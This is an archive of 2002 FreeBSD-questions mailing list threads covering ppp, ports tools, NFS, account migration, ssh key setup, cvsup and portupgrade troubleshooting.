> So what is the difference btwn user ppp and kernel ppp??  I've read the
> docs and not sure what to make of them....

userland and kernel controls, basically. the userland ppp is a little
easier to deal with.

> am i correct that user ppp is now the "official" version??

yes. it has been for a while.

> Right now, I use kppp to dialout, works fine..which does it use??

probably kernel ppp, since that's pretty much the same as the one used in
linux.

> Asking this mainly 'cause I am reading up on packet filtering firewalls
> using ipfw and ipfilter.

user ppp has its own firewalling built in. read ppp(8) for details on how
to set that up. there's alot of info in that man page about how it works.

you can, of course, still use IPFilter if you want, but that just creates
some extra overhead in dealing with the already slow ppp frames.

-------/ f. johan beisser /--------------------------------------+
  http://caustic.org/~jan                      jan@caustic.org
    "John Ashcroft is really just the reanimated corpse
         of J. Edgar Hoover." -- Tim Triche


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From owner-freebsd-questions  Fri Aug  2  0:51:52 2002
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Date: Fri, 02 Aug 2002 14:50:55 +0700
To: freebsd-questions@FreeBSD.ORG
From: Roger Merritt <mcrogerm@stjohn.ac.th>
Subject: Error messages from portsdb -Uu
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When I run 'portsdb -Uu' I get a whole bunch of error messages like:

Updating the ports index ... py16-bzip2-1.0:"" non-existent -- dependency
list i
ncomplete
py16-bzip2-1.0:"" non-existent -- dependency list incomplete
py16-tarfile-0.4.2:"" non-existent -- dependency list incomplete
py16-tarfile-0.4.2:"" non-existent -- dependency list incomplete
cplay-1.45_1:"" non-existent -- dependency list incomplete
cplay-1.45_1:"" non-existent -- dependency list incomplete
cymbaline-0.9r_1:"" non-existent -- dependency list incomplete
cymbaline-0.9r_1:"" non-existent -- dependency list incomplete
extace-1.4.5:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
liba52-0.7.3_2:"/usr/ports/math/djbfft" non-existent -- dependency list
incomple
te
liba52-0.7.3_2:"/usr/ports/math/djbfft" non-existent -- dependency list
incomple
te
mpt-0.0:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
mq3-8_1:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
etc.

I cvsup the ports regularly, by the way, so I would think my ports tree is
complete. What do these error messages mean, and is there anything I can do
to stop them?
-- 
Roger


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From owner-freebsd-questions  Fri Aug  2  0:56:39 2002
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Date: Fri, 02 Aug 2002 04:04:28 -0400
To: freebsd-questions@FreeBSD.ORG
From: Lord Raiden <raiden23@netzero.net>
Subject: Bitbucket
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	Ok, this might sound stupid, but where is the "bit bucket" in freebsd?  Is 
it /var/null?

	I'm wanting to make a bunch of user accounts with only mail access to one 
of the servers and I wanted to set the home dir as null basically.  AKA 
they have no home dir.

-- The Raiden Knows

"Remember amateurs built the ark  -- professionals built the Titanic." - 
Unknown

"Just when you think you have life figured out and all is going well, watch 
your step, for you are about to fall." - Ancient Proverb

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From owner-freebsd-questions  Fri Aug  2  1: 4:15 2002
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From: Roman Neuhauser <neuhauser@bellavista.cz>
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> Date: Fri, 02 Aug 2002 04:04:28 -0400
> To: freebsd-questions@FreeBSD.ORG
> From: Lord Raiden <raiden23@netzero.net>
> Subject: Bitbucket
> 
> 	Ok, this might sound stupid, but where is the "bit bucket" in 
> 	freebsd?  Is it /var/null?

    /dev/null, of course.
 
> 	I'm wanting to make a bunch of user accounts with only mail access 
> 	to one of the servers and I wanted to set the home dir as null
> 	basically.  AKA they have no home dir.

    if you take a look at /etc/passwd you'll see how FreeBSD does this.

-- 
FreeBSD 4.6-STABLE
10:02AM up 2 days, 17:38, 10 users, load averages: 0.06, 0.04, 0.00

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From owner-freebsd-questions  Fri Aug  2  1: 7:57 2002
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Date: Fri, 2 Aug 2002 09:07:47 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Lord Raiden <raiden23@netzero.net>
Cc: freebsd-questions@FreeBSD.ORG
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On Fri, Aug 02, 2002 at 04:04:28AM -0400, Lord Raiden wrote:
> 	Ok, this might sound stupid, but where is the "bit bucket" in 
> 	freebsd?  Is it /var/null?

/dev/null

> 	I'm wanting to make a bunch of user accounts with only mail access 
> 	to one of the servers and I wanted to set the home dir as null basically.  
> AKA they have no home dir.

/dev/null is not really appropriate for that --- it's not a directory.
It's usual uses treat it as a file: for reading, it is effectively
zero length and for writing it's infinitely long.

What you should do is create an empty directory and set the
permissions on it to be unwritable by your mail-only users:

    mkdir /var/no-fixed-abode
    chown root:wheel /var/no-fixed-abode
    chmod 0555 /var/no-fixed-abode

Use that as the home dir for all your mail users.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Fri Aug  2  1:11:11 2002
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Date: Fri, 2 Aug 2002 20:11:00 +1200
From: Jonathan Chen <jonc@chen.org.nz>
To: Roger Merritt <mcrogerm@stjohn.ac.th>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Error messages from portsdb -Uu
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On Fri, Aug 02, 2002 at 02:50:55PM +0700, Roger Merritt wrote:

[...]
> mpt-0.0:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
> mq3-8_1:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
> etc.
> 
> I cvsup the ports regularly, by the way, so I would think my ports tree is
> complete. What do these error messages mean, and is there anything I can do
> to stop them?

Just means that the INDEX file hasn't been update properly. Don't
worry about it. It doesn't affect your ports.
-- 
Jonathan Chen <jonc@chen.org.nz>
------------------------------------------------------------------------
"We laugh in the face of danger, we drop icecubes down the vest of fear"
                                                 - Edmond Blackadder III

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From owner-freebsd-questions  Fri Aug  2  1:17:12 2002
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Date: Fri, 2 Aug 2002 10:17:07 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
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Hi there,

while i'm really glad there are no open PRs in freebsd's gnats
(http://www.freebsd.org/cgi/query-pr-summary.cgi sez "no matches to your
query"), i still want access to PRs i've submitted. :)

anyway, any guesstimate of the downtime?

-- 
FreeBSD 4.6-STABLE
10:14AM up 2 days, 17:51, 10 users, load averages: 0.26, 0.13, 0.04

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From owner-freebsd-questions  Fri Aug  2  1:19: 5 2002
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Date: Fri, 2 Aug 2002 10:18:51 +0200
From: Radko Keves <rado@studnet.sk>
To: freebsd-questions@freebsd.org
Subject: question about nfsd
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i try to export dir /var/www/htdocs/sun to (Solaris 8) sun.unitra.sk /mnt/studnet
i follow handbook:

rpcbind (not portmap)
nfsd -u -t -n 4
mountd -r

on my host (kripel):
kripel# showmount -e kripel
Exports list on kripel:
/var/www/htdocs/sun                sun.unitra.sk decon.unitra.sk

on sun:
sun# mount kripel:/var/www/htdocs/sun /mnt/studnet
nfs mount: kripel:/var/www/htdocs/sun: server not responding : RPC:
Authentication error; why = Client credential too weak
nfs mount: retrying: /mnt/studnet
nfs mount: kripel:/var/www/htdocs/sun: server not responding : RPC:
Authentication error; why = Client credential too weak

where can i set up (down) authentication, because i haven't found it on manual ...

i'm running:
FreeBSD 5.0-CURRENT

thank

-- 
--------------
bye
R.R.K.K.

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From owner-freebsd-questions  Fri Aug  2  1:28:20 2002
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Date: Fri, 2 Aug 2002 10:29:02 +0200
From: Ruben de Groot <fbsd-q@bzerk.org>
To: Mr Dan Peck <dan037@yahoo.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: RedHat to FreeBSD Migration
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On Thu, Aug 01, 2002 at 06:38:03PM -0700, Mr Dan Peck typed:
> Hello List,
> 
> I've been tasked with upgrading a server with
> approximately 5,000 users (at a small ISP).  The
> current server runs RedHat 6.2, and I would prefer to
> run FreeBSD 4.6.1 on the new one, but would need to be
> able to copy the password and group files from the
> RedHat box as we don't have the resources to re-enter
> all of the users by hand.  Any information on
> migrating the passwd/and group files would be very
> helpful.  I'm not currently subscribed to the list, so
> please CC: your responses to me.  Thanks!

Hi Dan,

Since I'm not aware of any automated tool for doing what you want, here's
what I would do:

- Look at FreeBSD's master.passwd file, each entry consists of the 
following fields, seperated by ':'

           name      User's login name.

           password  User's encrypted password.

           uid       User's id.

           gid       User's login group id.

           class     User's login class.

           change    Password change time.

           expire    Account expiration time.

           gecos     General information about the user.

           home_dir  User's home directory.

           shell     User's login shell.

- Find the corresponding fields in RedHat's passwd and shadow files. 

- Write a (perl?) script to create a master.passwd from the passwd 
and shadow files

- Move the master.passwd file to the FreeBSD box in the /etc directory
and run the command:

# pwd_mkdb -p /etc/master.passwd

That will create the necessary password database files for you.

Disclaimer: I don't know what format RH uses for its encrypted passwords,
so maybe you'll have to write another script to generate new passwords
for each user.

hope this helps,

Ruben

> 
> -Dan
> dan037@yahoo.com
> 
> 
> 
> __________________________________________________
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> Yahoo! Health - Feel better, live better
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> 
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From owner-freebsd-questions  Fri Aug  2  1:29:21 2002
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From: "Grant Cooper" <grant.cooper@nucleus.com>
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Subject: Fully Qualified Domain Name and DHCP and setting it in FreeBSD 4.5
Date: Fri, 2 Aug 2002 02:32:02 -0600
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I've come across a problem I don't really understand. I am using freeBSD 4.5
default and I have a dynamic ADSL connection using DHCP. No extra installed
ports. I have installed q-mail and when I do the ./config I am getting the
name given to me from tellus. Since I own my own domain and am pointed from
zoneedit.com should I still use what is DHCP or should I over ride defualt
DHCP.

Is the fully qualified domain name the name I registed? For example,
freeBSD.ca?


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From owner-freebsd-questions  Fri Aug  2  1:54: 1 2002
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Date: Fri, 02 Aug 2002 15:53:14 +0700
To: freebsd-questions@FreeBSD.ORG
From: Roger Merritt <mcrogerm@stjohn.ac.th>
Subject: Re: Error messages from portsdb -Uu
In-Reply-To: <20020802081100.GA90831@grimoire.chen.org.nz>
References: <3.0.6.32.20020802145055.008044b0@stjohn.stjohn.ac.th>
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At 08:11 PM 8/2/02 +1200, you wrote:
>On Fri, Aug 02, 2002 at 02:50:55PM +0700, Roger Merritt wrote:
>
>[...]
>> mpt-0.0:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
>> mq3-8_1:"/usr/ports/math/fftw" non-existent -- dependency list incomplete
>> etc.
>> 
>> I cvsup the ports regularly, by the way, so I would think my ports tree is
>> complete. What do these error messages mean, and is there anything I can do
>> to stop them?
>
>Just means that the INDEX file hasn't been update properly. Don't
>worry about it. It doesn't affect your ports.
>-- 
>Jonathan Chen <jonc@chen.org.nz>
>------------------------------------------------------------------------
>"We laugh in the face of danger, we drop icecubes down the vest of fear"
>                                                 - Edmond Blackadder III
>

Thanks for your reply. I had realized that it didn't represent a problem
for me, but if that's the case then the error messages don't seem to be
useful for anything, either. Isn't there some way to stop them? I've seen
lots of people praising portupgrade to the skies. Do they all have to put
up with this garbage spewing across their screen when they do this?
-- 
Roger


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From owner-freebsd-questions  Fri Aug  2  3:17:37 2002
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From: "Gerhard Gerrizen" <gerhard@turtle.co.za>
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Subject: help needed on install problems , install dies with jumbled text out..
Date: Fri, 2 Aug 2002 12:15:18 +0200
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hey all=20
haveing problems installing freebsd on an intel bal buc server,  its =
runs dual ppro 200, and a 6 hardware raid system ( dac960p/pd ) the scsi =
adapter  is a aic7880 =20

the problem which occurs is that the freebsd install dies in a jumbled =
mess after the kernel config ..=20
it allows me to config the kernel .. but then spits out a screen of just =
jumbled infomation that is not humanly readable.=20

thanks :)=20

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#f1f4fa>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>hey all </FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>haveing problems =
installing freebsd=20
on an intel bal buc server,&nbsp; its runs dual ppro 200, and a 6 =
hardware raid=20
system ( dac960p/pd ) the scsi adapter&nbsp; is a aic7880&nbsp; =
</FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>the problem which =
occurs is that the=20
freebsd install dies in a jumbled mess after the kernel config .. =
</FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>it allows me to config =
the kernel ..=20
but then spits out a screen of just jumbled infomation that is not =
humanly=20
readable. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>thanks :) </DIV></FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Fri Aug  2  3:51:56 2002
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Date: Fri, 2 Aug 2002 12:51:49 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Andrew J Caines <A.J.Caines@halplant.com>
Cc: "Morse, Richard E." <REMORSE@PARTNERS.ORG>,
	FreeBSD Questions <FreeBSD-Questions@FreeBSD.org>
Subject: Re: Question about ssh setup...
Message-ID: <20020802105149.GB47310@freepuppy.bellavista.cz>
Mail-Followup-To: Andrew J Caines <A.J.Caines@halplant.com>,
	"Morse, Richard E." <REMORSE@PARTNERS.ORG>,
	FreeBSD Questions <FreeBSD-Questions@FreeBSD.org>
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> Date: Thu, 1 Aug 2002 10:34:02 -0400
> From: Andrew J Caines <A.J.Caines@halplant.com>
> To: "Morse, Richard E." <REMORSE@PARTNERS.ORG>
> Cc: FreeBSD Questions <FreeBSD-Questions@FreeBSD.org>
> Subject: Re: Question about ssh setup...
> 
> Richard,
> 
> > Hi!  I have a problem -- I have a user who wants to be able to
> > connect to my server via a script, get a directory listing, then use
> > scp to copy some files off.  The problem is that ssh (which is the
> > only way to connect) doesn't allow you to pass the password to it as
> > a parameter
> 
> The canonical solution to this problem is the have the client generate a
> key pair with a null passphrase, then use this key pair for the automated
> connections.

    read why this is a bad thing:
    http://www.snailbook.com/faq/no-passphrase.auto.html

-- 
FreeBSD 4.6-STABLE
12:51PM up 2 days, 20:27, 7 users, load averages: 0.10, 0.06, 0.07

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From owner-freebsd-questions  Fri Aug  2  4:50:23 2002
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Date: Fri, 2 Aug 2002 04:50:03 -0700 (PDT)
Message-Id: <200208021150.EAA07753@eskimo.com>
From: Ross Lippert <ripper@eskimo.com>
To: keramida@ceid.upatras.gr
Cc: bts@babbleon.org, scottro@nyc.rr.com,
	freebsd-questions@FreeBSD.org
In-reply-to: <20020724204404.GA2526@hades.hell.gr> (message from Giorgos
	Keramidas on Wed, 24 Jul 2002 23:44:05 +0300)
Subject: Re: /usr/share/examples
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(for some reason a second copy of this just appeared in my mailbox)

FYI - the errata has posted to it a very nice fix involving just
the installation of sshare from the 4.6 CDs.  That works fine, so
there isn't any point in the fix I was suggesting.


-r

>Envelope-to: freebsd-questions@westwood.karoo.co.uk
>Delivery-date: Wed, 24 Jul 2002 21:44:43 +0100
>Delivered-To: freebsd-questions@freebsd.org
>Date: Wed, 24 Jul 2002 23:44:05 +0300
>From: Giorgos Keramidas <keramida@ceid.upatras.gr>
>To: Ross Lippert <ripper@eskimo.com>
>Cc: bts@babbleon.org, scottro@nyc.rr.com, freebsd-questions@FreeBSD.org
>Subject: Re: /usr/share/examples
>References: <200207222222.34039.bts@babbleon.org> <200207231130.EAA25423@eskimo.com>
>Mime-Version: 1.0
>Content-Type: text/plain;
>  charset=us-ascii
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>In-Reply-To: <200207231130.EAA25423@eskimo.com>
>X-Operating-System: FreeBSD 5.0-CURRENT i386
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>X-Phone: +30-944-116520
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>
>On 2002-07-23 04:30 +0000, Ross Lippert wrote:
>> Thanks.  If it is not too big, I will mirror it as well.  I think
>> someone should put it on the errata because of my painful story:
>
>Is this really necessary?  I mean, I would expect the share/examples
>files to still be there.  I don't have a 4.6-RELEASE CD-ROM image
>handy, but I mounted my 4.4-RELEASE disk under /cdrom and see what I
>found out:
>
>root@hades[23:37]/cdrom/bin# cat bin.[a-z][a-z] | tar tzvf - | grep share/examples | grep ppp.conf
>-rw-r--r-- root/wheel          3694 Sep 18 20:27 2001 usr/share/examples/ppp/ppp.conf.isdn
>-rw-r--r-- root/wheel         26865 Sep 18 20:27 2001 usr/share/examples/ppp/ppp.conf.sample
>-rw-r--r-- root/wheel          6876 Sep 18 20:27 2001 usr/share/examples/ppp/ppp.conf.span-isp
>-rw-r--r-- root/wheel          2565 Sep 18 20:27 2001 usr/share/examples/ppp/ppp.conf.span-isp.working
>
>
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>
>

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Date: Fri, 2 Aug 2002 00:09:51 -0400
From: Jeremy Faulkner <gldisater@gldis.ca>
To: Peter Leftwich <Hostmaster@Video2Video.Com>
Cc: questions@freebsd.org
Subject: Re: Fwd: cvsup vs cvsupd?
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On Thu, Aug 01, 2002 at 08:32:31PM -0400, Peter Leftwich wrote:
>From the Handbook on the freebsd.org website:
> "The term CVSup, capitalized just so, refers to the entire software
> package. Its main components are the client cvsup which runs on each user's
> machine, and the server cvsupd which runs at each of the FreeBSD mirror sites."
> 
> ! I was under the impression that cvsup'ing would simply do a series of
> anonymous ftp's to a remote directory.  Does the cvsupd [daemon] run on a
> particular port, using its own specific [newfangled] protocol?

CVS and CVSup accomplish much more than ftp is capable of. They compare the
versions of the files on the server and the client and modify them as 
necessary.

> "Note: If you are going to be using CVSup on a machine which will not have
> XFree86 installed, such as a server, be sure to use the port which does not
> include the CVSup GUI, cvsup-without-gui = http://www.FreeBSD.org/cgi/url.cgi?ports/net/cvsup/pkg-descr.nogui/"
> 
> ! I think after this sentence, there ought to be a hyperlink or explanation
> about how to use a GUI version of CVSup (xcvsup?)  Note to the webmaster,

How to run cvsup is outlined later on that page (section A.6.4). The use of
cvsup (with GUI) does not differ from the use of cvsup (without-GUI). The
GUI displays information about the process.

> the word XFree86 ought to be a link to www.xfree86.org or that section of
> the FreeBSD online handbook.

I disagree, there would be little point in doing so as it is only being mentioned,
not used, thus instructions on what XFree86 is and how it is used are not
required. Secondly, it is assumed that the handbook is read in order. Updating
the source is covered in section 19, while XFree86 is covered in section 5.

> "If you do not know anything about CVSup at all and want a single package
> which will install it, set up the configuration file and start the transfer"
> 
> ! Wait wait wait, what's a configuration file?  

A file that is read by a program which modifies the behaviour of that program.

> You mean one for pkg_add?

No.

> "...via a pointy-clicky type of interface, then get the net/cvsupit
> package. Just hand it to pkg_add(1) and it will lead you through the
> configuration process in a menu-oriented fashion."
> 
> ! I did `pkg_add -r cvsupit` and that threw me immediately (successfully)
> into a sysinstall type of application (so I would recommend the Handbook
> mention this precise command line).  

And spoil the fun of having the reader actually read the man page for pkg_add?
Again, it is assumed that the handbook is read in order; pkg_add is 
covered in section 4.

> Also, a complaint about the cvsupit
> menu -- it isn't clear how to drill down beyond /usr/ports/src or /usr/src
> (I get mixed up) and update just one source.

If you want to update a single source file you should use cvs, but if you
are having this much trouble with cvsup you probably won't be able to handle
cvs.

> ! For example, in my case, I just sent it whirring away then ran `du -hs
> /usr/ports` and was told it was 12M then 13M (megs) and so interrupted it.
> All I need [require] to do is update KDE 2.2.2 to 3.0.1 but the task
> stretches before me monumentally.  :(

KDE (in the ports collection) is merely a metaport, meaning it's listed 
dependances are all of the subcomponents of KDE. These components are spread
throughout the ports collection, you really should update the entire ports 
collection at once.

> "A.6.3 CVSup Configuration - CVSup's operation is controlled by a
> configuration file called the supfile.  There are some sample supfiles in
> the directory /usr/share/examples/cvsup/."
> 
> ! That last path there is a hyperlink to exactly what it says, rather than
> to something like http://www.freebsd.org/handbook/usr/share/examples/cvsup
> - because when I click it, the PWD (present working directory) becomes
> /usr/share/examples/cvsup and an `ls -al` shows
> 
> total 4
> drwxr-xr-x   2 root  wheel   512 Jun 10 21:17 .
> drwxr-xr-x  41 root  wheel  1024 Jul 15 08:51 ..
> 
> ! So I don't get to see what a supfile looks like this time around.  Grrr.

If you had a complete installation you would have the supfiles in that 
directory. The handbook also goes on to to explain the syntax of the supfile
in section A.6.3, and has a completed example at the end of that section.

> "The information in a supfile answers the following questions for cvsup:
> Which files do you want to receive?
> Which versions of them do you want?
> Where do you want to get them from?
> Where do you want to put them on your own machine?
> Where do you want to put your status files?"
> 
> ! Isn't it simpler to just say something like 'files, versions, remote_dir,
> local_dir, and status files' (whatever status files are!)

No. First rule of documentation: Assume the reader is an idiot. Simply stating
"files, versions, etc." is far to cryptic. Secondly, the questions themselves
are used as headers for their associated explainations later on that page.

> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555

P.S. Your use of "!" to mark your own text made for a poor visual cue, 
indenting your own text would have been preferred.

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Fri Aug  2  4:59:55 2002
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Date: Fri, 2 Aug 2002 13:58:06 +0200 (MEST)
From: Rogier Steehouder <r.j.s@gmx.net>
To: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
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Subject: Re: checking if something is already in an array
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Christopher wrote:
> Hi all,
> 
> 	I'm really stupid lately with Perl and stuff, but I got this list
> of screen names and I made it into an array in perl called @sns.  I want
> to count the amount of times each name shows up in that array and I want
> to make an array of each name in the original array, but only occuring
> once.
> 
> adarc22
> adarc22
> adarc22
<-- etc. -->
> 
> ....is my original array but I want a new array with each name in this
> array appearing only once and count each name's occurance in an additional
> array, even a 2d array works. (if you can do that in Perl...?)
> 
> Thanks a lot,
> Christopher J. Umina

Maybe the following pieces of script will help:

sub uniq {
    my(@list) = @_;
    my(%list);
    map { $list{$_} = 1 } @list;
    return(sort(keys(%list)));
}

or altered for your purpose:

sub uniq {
    my(@list) = @_;
    my(%list);
    map { $list{$_} = 0 } @list;
    map { $list{$_} += 1 } @list;
    return(%list);
}

@list = ('a', 'a', 'a', 'b', 'c', 'c', 'd', 'e', 'e', 'e');
print(@list, "\n");
%list = &uniq(@list);
foreach $item (sort(keys(%list))) {
    print($item, ": ", $list{$item}, "\n");
}

It seems to work for me.

With kind regards, Rogier Steehouder
-- 

-- 
                           ___                          _
-O_\                                                   //
 | /                Rogier Steehouder                 //\
/ \               mailto:r.j.s@gmx.net               //  \
  <----------------------- 90m ---------------------->

GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net


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From owner-freebsd-questions  Fri Aug  2  5: 7: 8 2002
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Date: Fri, 02 Aug 2002 14:06:51 -0700
From: Bertrand Habib <bib@infomaniak.ch>
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Subject: portupgrade -Np seems to be broken on my system
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Dear all,
Again a newbe question...
after having encountred strange portupgrade behaviours (bin packages
going installed in the choosen port him self insteed of target directory
choosen for all bin packages, I decided to remove all installed ports,
killing /var/db/pkg/pkgdb.db as well as /usr/sup/ports and restoring
/usr/ports directory from the 4.6 release install CD. Then i reinstalled
cvsup (bin) and ran it twice in order to resync ports tree. I then
rebuilded portupgrade from port, tuned pkgtools.conf and recreated
portupgrade databases. Unfortunatly all this didn't solved my problem:

When I try 'portupgrade -Np sysutils/detach' the final bin package still
lands in /usr/ports/sysutils/detach as detach-1.3.tgz insteed of the
location stated in pkgtool.conf. Notice also that the 'PACKAGES' line in
/etc/make.conf has been removed before this stage.

Process:
1. pkg_delete -a
     This removed all subdirs in /var/db/pkg except pkgdb.db

2. rm /var/db/pkg/pkgdb.db
     rm -fR /usr/ports/*
     rm -fR /usr/sup/ports

4. /stand/sysinstall --> config --> distrib --> custom --> [X] ports
     taken from CD media

5. /stand/sysinstall --> config --> packages --> [X] net/cvsup

6. doing a 1st cvsup in order to resync ports at june 5, 2002,
     i.e: with following relevant lines in cvsupfile:
         ...
         *default tag=.
         ports-all date=2002.06.05.23.44.00

7. doing a 2nd cvsup in order to resync at now (removing date=... from
     the previous cvsupfile.

8. Made and installed portupgrade from port, ie:
     8.1 relevant /etc/make.conf:
         PACKAGES=/home/packages
         DISTFILES=/u1/distfiles
         WRKDIRPREFIX=/u2/work
     8.2 builds commands	
         cd /usr/ports/sysutils/portupgrade
         make
         make install
         make package

     This installed portupgrade-20020706 and ruby-1.6.7-20020715

9. Configured portupgrade (please, see bellow for my
     /usr/local/etc/pkgtools.conf), then created portupgrade databases
     with:
         portsdb -Uu
         pkgdb -u

10. Trying portupgrade on sysutils/detach, ie:
      10.1 first, I removed 'PACKAGES=...' from /etc/make.conf
      10.2 ran 'portupgrade -Np sysutils/detach'

      Port get installed normaly but package lands in
      /usr/ports/sysutils/detach as detach-1.3.tgz insteed of
      /u2/freebsd-i386/packages/4.6/All or eventually
      /u2/freebsd-i386/packages/4.6.1/All

(11.I then pkg_deinstalled 'detach', created both missing target package
      directories (one for 4.6 and one for 4.6.1) and retryed
      'portupgrade -Np sysutils/detach' without being more successfull
      (i.e: same behaviour)
)
Would someone be nice enough in helping me to understand what wrong is
going on and how i may fix this ?

Many thanks in advance for your hand
Kindest regards
Bertrand

-------------------------------------------------------------------------
Here is my pkgtools.conf, located in /usr/local/etc:

       module PkgConfig
        ENV['PORTSDIR'] ||= '/usr/ports'
        ENV['PORTS_INDEX'] ||= ENV['PORTSDIR'] + '/INDEX.portupgrade'

        # Next should create /u2/freebsd-i386/packages/4.6.1 if it doesn't
        # exist and 'PACKAGES' isn't set, right ?
        ENV['PACKAGES'] ||= sprintf('/u2/freebsd-i386/packages/%s',
                            OS_REVISION)
        ENV['PKG_PATH'] ||= ENV['PACKAGES'] + '/All'
        SANITY_CHECK = true
        IGNORE_CATEGORIES = [
         'chinese',
         'hebrew',
         'german',
         'japanese',
         'korean',
         'russian',
         'ukrainian',
         'vietnamese',
        ]
        EXTRA_CATEGORIES = [
        ]
        HOLD_PKGS = [
          'bsdpan-*',
        ]
        MAKE_ARGS = {
          'x11/kdebase3' => 'WITH_MOTIF=yes',
        }
        BEFOREBUILD = {
        }
        AFTERINSTALL = {
        }
        PKG_SITES = [
	 # Here is a copy of freebsd CD packages
          'file:///u5/FreeBSD/dist/packages/',
          pkg_site_mirror(),
        ]
        PORTUPGRADE_ARGS = ENV['PORTUPGRADE'] || \
          '-v -l /var/tmp/portupgrade.results ' + \
          '-L /var/tmp/portupgrade-'
      end
-------------------------------------------------------------------------



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From owner-freebsd-questions  Fri Aug  2  5:47:38 2002
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From: "Brian T. Schellenberger" <bts@babbleon.org>
To: <sroberts@dsl.pipex.com>
Subject: Re: Got past installworld, new problems however [WASRe: make installworld fails with mergemaster errors - 4.4Rel upgrade to 4.6 Stable]
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For some odd reason this mail message, though you sent it 24July, was not 
received by my machine until today.  So sorry if you were "looking forward to 
hearing from me soon."

Hopefully you read the man page for pkg_add, which answered your question. 

On Wednesday 24 July 2002 09:27 am, sroberts@dsl.pipex.com wrote:
| Hi Brain,
|    Thanks for getting back to me.
|
| I'm happy to at last find someone who is willing to at least *say* that
| he's blasted and reinstalled a higher version of XFree86-4.
|
| From what you said here, I'll probably want to go with a packages install
| as well.
|
| > I strongly recomemnd deintalling via 'pkg_delete X*' (you can use
| > pkg_info
| > first to be sure that this will deinstall what you expect) and then
| > re-installing.  Actually, I'd probably install from packages rather than
| >
| > ports, it's a lot quicker.  Heck, I *know* I'd do it that way because I
| > *did*
| > do it that way just four days ago.  The pkg_add -r didn't work right for
| >
| > XFree86-4 because it was looking the wrong place, but if you make it
| > look for
| > "All" packages instead of "Latest" you should be golden.
|
| How exactly do you specify to pkd_add to "look for ALL" instead the latest?
| And which version would it then return?
|
| Thanks again for your time and assistance. I'll look forward to hearing
| from you again soon.
|
| Stacey
|
| Quoting "Brian T. Schellenberger" <bts@babbleon.org>:
| > On Wednesday 24 July 2002 04:06 am, sroberts@dsl.pipex.com wrote:
| > | Hello Brian,
| > |      Thanks for the reply.
| > |
| > | As I'm actually still going through bringing the up to a "usable
| >
| > state",
| >
| > | the disappeared user accounts are not too much of a problem at the
| >
| > moment.
| >
| > | Its the lack of authentication for root login I'm really concerned
| >
| > with on
| >
| > | this point!
| >
| > But they are the same problem.  The root password isn't being
| > authenticated
| > because the account has no password, which is because the password
| > (accounts)
| > file is messed up.
| >
| > Of course you can fix the root password problem by merely running
| > "passwd" if
| > you want.
| >
| > | I'll take a look at XFree86Config and check for anything untoward.
| >
| > I've not
| >
| > | used ktrace, nor kdump before. Are they used in the same way as truss?
| >
| > I can't say since I've never used truss before.  But they are used like
| > this:
| >
| > ktrace <cmd>
| > kdump | <editor>
| >
| > I think you'll ned an option to ktrace to get it to follow the shell
| > scripts
| > down; otherwise it just traces the first executable found, but you can
| > "man
| > ktrace" for more information.
| >
| > | However, as I do intend on upgrading XFree86 to XFree86-4.2.1 today,
| >
| > would
| >
| > | it be more effective to re-install (remove > install latest version),
| >
| > or
| >
| > | simply upgrade the current version (via portupgrade)?
| >
| > I strongly recomemnd deintalling via 'pkg_delete X*' (you can use
| > pkg_info
| > first to be sure that this will deinstall what you expect) and then
| > re-installing.  Actually, I'd probably install from packages rather than
| >
| > ports, it's a lot quicker.  Heck, I *know* I'd do it that way because I
| > *did*
| > do it that way just four days ago.  The pkg_add -r didn't work right for
| >
| > XFree86-4 because it was looking the wrong place, but if you make it
| > look for
| > "All" packages instead of "Latest" you should be golden.
| >
| > | ps waux - show process report, [-a: include all process with a tty
| >
| > session]
| >
| > | + [-u:  report user ID for each process listed] + [-w: show wide
| >
| > output]
| >
| > | So, seeing that apache is configured to start on bootup, I would have
| > | expected to see a process called httpd running with variou runtime
| >
| > options
| >
| > | listed in the returned process table - which of course, I don't.
| >
| > Check startup messages in /var/log/messages.  Also try starting it by
| > hand.
| > If it's configured to start then it most likely is starting; if it's not
| >
| > still running it's probably dying before you check up on it.
| >
| > | I really am hoping that I could aviod having the reinstall FBSD again
| >
| > here.
| >
| > | This install's taken well over two days of debugging already:-
| > |
| > | initial install took the default XFree86-3.3.6x (didn't want that)
| > | The box hung at installation when I included gnome desktop (hence only
| > | XFree86-4.0.2 installed this time around)
| > |
| > |
| > | Well., thanks again for taking the time, Brian. Hope that what I've
| > | included here lights a few bulbs in a few peoples' heads before too
| >
| > long.
| >
| > You're welcome.  Good luck.
| >
| > | Stacey
| > |
| > | Quoting "Brian T. Schellenberger" <bts@babbleon.org>:
